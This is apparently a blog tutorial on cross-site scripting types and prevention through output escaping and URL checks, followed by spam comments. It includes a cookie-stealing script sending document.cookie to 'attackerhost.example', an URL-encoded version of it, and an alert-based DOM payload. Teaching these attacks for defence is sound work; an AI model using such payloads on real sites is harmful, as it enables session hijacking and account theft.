Top add
Cross-site scripting (XSS) and prevention
Cross-site scripting (XSS) is a security exploit in which the attacker inserts malicious coding into a link that appears to be from a trustworthy source. When someone clicks on the link, the embedded programming is submitted as part of the client's Web request and can execute on the user's computer, typically allowing the attacker to steal information.
Web forms that dynamically return an error message including user input data make it possible for attackers to alter the HTML that controls the behavior of the form and/or the page. Attackers do this in a number of ways, for example by inserting coding into a link in a forum message or in a spam message. The attacker may use e-mail spoofing to pretend to be a trusted source.
Among the problems introduced by JavaScript are:
- A malicious website might employ JavaScript to make changes to the local system, such as copying or deleting files.
- A malicious website might employ JavaScript to monitor activity on the local system, such as with keystroke logging.
- A malicious website might employ JavaScript to interact with other Websites the user has open in other browser windows or tabs.
Types of cross-site scripting
There are three types of Cross-site Scripting attacks: non-persistent, persistent and DOM-based.
Persistent Attack Example
Many web sites host bulletin boards where registered users may post messages which are stored in a database of some kind. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account compromised.
Cookie Stealing Code Snippet:
<SCRIPT>
document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>
Due to the fact that the attack payload is stored on the server side, this form of xss attack is persistent.
Non-Persistent Attack Example
Many web portals offer a personalized view of a web site and may greet a logged in user with "Welcome, <your username>". Sometimes the data referencing a logged in user is stored within the query string of a URL and echoed to the screen
Portal URL example: http://portal.example/index.php?sessionid=12312312&username=Joe
In the example above we see that the username "Joe" is stored in the URL. The resulting web page displays a "Welcome, Joe" message. If an attacker were to modify the username field in the URL, inserting a cookie-stealing JavaScript, it would possible to gain control of the user's account if they managed to get the victim to visit their URL.
A large percentage of people will be suspicious if they see JavaScript embedded in a URL, so most of the time an attacker will URL Encode their malicious payload similar to the example below.
URL Encoded example of Cookie Stealing URL:
http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E
Decoded example of Cookie Stealing URL:
http://portal.example/index.php?sessionid=12312312&username=script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script>
DOM-based Attack Example
Unlike the previous two flavors, DOM based XSS does not require the web server to receive the malicious XSS payload. Instead, in a DOM-based XSS, the attacker abuses runtime embedding of attacker data in the client side, from within a page served from the web server.
Consider an HTML web page which embeds user-supplied content at client side, i.e. at the user's browser. This in fact a well established practice. For example, an HTML page can have JavaScript code that embeds the location/URL of the page into the page. This URL may be partly controlled by the attacker.
In such case, an attacker can force the client (browser) to render the page with parts of the DOM (the location and/or the referrer) controlled by the attacker. When the page is rendered and the data is processed by the page (typically by a client side HTML-embedded script such as JavaScript), the page's code may insecurely embed the data in the page itself, thus delivering the cross-site scripting payload.
For example:
Assume that the URL
http://www.vulnerable.site/welcome.html
contains the following content:
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
Welcome to our system
…</HTML>
This page will use the value from the "name" parameter in the following manner.
http://www.vulnerable.site/welcome.html?name=Joe
In this example the JavaScript code embeds part of document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such as
http://www.vulnerable.site/welcome.html?name=
<script>alert(document.cookie)</script>
which will embed the malicious JavaScript payload into the page at runtime.
There are several DOM objects which can serve as a vehicle to such attack:
- The path/query part of the location/URL object, in which case the server does receive the payload as part of the URL section of the HTTP request.
- The username and/or password part of the location/URL object (http:// username:password@host/...), in which case the server receives the payload, Base64-encoded, in the Authorization header.
- The fragment part of the location/URL object, in which case the server does not receive the payload at all (!), because the browser typically does not send this part of the URL.
- The referrer object, in which case the server receives the payload in the Referee header.
Possible sources of malicious data
While the problem applies to any page that uses input to dynamically generate HTML, the following are some possible sources of malicious data to help you spot check for potential security risks:
* Query String
* Cookies
* Posted data
* URLs and pieces of URLs, such as PATH_INFO
* Data retrieved from users that is persisted in some fashion such as in a database
Prevention:
Escaping data
So the solution is to ensure that if contents like this are entered into the form, that the server side script escapes them before adding them to the page content. HTML offers a simple way to escape these; use HTML entities for < > & and " characters. Yes, for virtually all situations, this really is all it takes. PHP offers a simple function to do this; htmlspecialchars. Other languages sometimes offer ways to do this, but some do not. One of the big offenders is JSP which, to my knowledge, has no equivalent method. Authors simply do not realise they should create one for themselves. Many JSP pages are left open to XSS attacks as a result.
It is not enough to escape just < and > characters, since quotes can be just as damaging inside an attribute. If quotes are not escaped, the attribute can be ended, and a new event handler attribute started, that triggers when the user clicks it, or focuses it, or moves their mouse over it. If you are putting the content inside an attribute, make sure the attribute uses " (double) quotes, or the attribute could also be ended simply by including a space (if using ' [single] quotes around the attribute value, make sure you tell PHP's htmlspecialchars function to convert those as well inside the attribute value).
Form data must also be escaped before using it as part of a database query, typically by putting backslashes before quotes (again, PHP has inbuilt methods for doing this). Failure to escape it could allow people to end the query, and start a second one, deleting random data, corrupting databases, or at worst, being able to run shell commands, and take over the server. A similar situation could occur if your script uses that data to construct a shell command.
Never trust URLs you are given
Some pages allow a form to submit a "next URL" value, that the user will be redirected to after the data has been processed. Sometimes this is done with a Location header, but sometimes it is done with a meta refresh or JavaScript. With meta refreshes and JavaScript, if the URL that is given is a 'javascript:' URL, then the script will run. A malicious site could easily use this as a way to post scripts onto a page. Always check that URLs provided as form data start with a trusted protocol, such as 'http:' or 'https:'.
Being careful with scripts
In very rare cases, cross site scripting vulnerabilities are created within JavaScripts. Although far less common than server-side script mistakes, it is still possible to make equivalent mistakes in JavaScript. JavaScripts can read data passed in the URL, and must be careful how they process that data. If they assign that data to any object that accepts url values, such as the src of an image or the location object, any scripts can be injected into it.
Subscribe to:
Post Comments (Atom)
10 comments:
I am very happy when read this blog post because blog post written in good manner and write on good topic. Thanks for sharing valuable information….... by OPS 571 Final Exam provider.
I show up record it. I ache for to catch included this topic…i am respecting the time and fulfillment you put in your site, by MGT 311 Final Exam provider
I think it will help me a lot in the related stuff and is very much useful for me. Very well written I appreciate & must say good job....... by MGT 230 Final Exam provider.
Incredible substance, I truly liked the insign you carry to the theme, stunning stuff. continue trying different things with your composition and doing intriguing things! I'm liking it.thanks About Your Perfect Post & Contain In Your Website... by MGT 311 Week 2 Individual Assignment
Great content i would be glad if you still post these type of Articles so that i can gain lot of information.For more information please go through
This is the first time i am reading your post and admire that you posted article which gives users lot of information regarding particular topic thanks for this share.I am impressed with the content you provided....... by ECO 365 Final Exam provider.
Your blog contains very important information. Thank you so much for sharing this blog. You did a good Job...by MGT 521 Final Exam provider
Nice blog,thankyou for sharing this post.SEO Sydney | Wazzam
Very nice article,Join DDMI for comprehensive Digital Marketing course in Delhi with Hands-on Implementation and Practical Training.
The blog is good. This blog is really appreciable and has done a valuable job. Thanks for it.
Post a Comment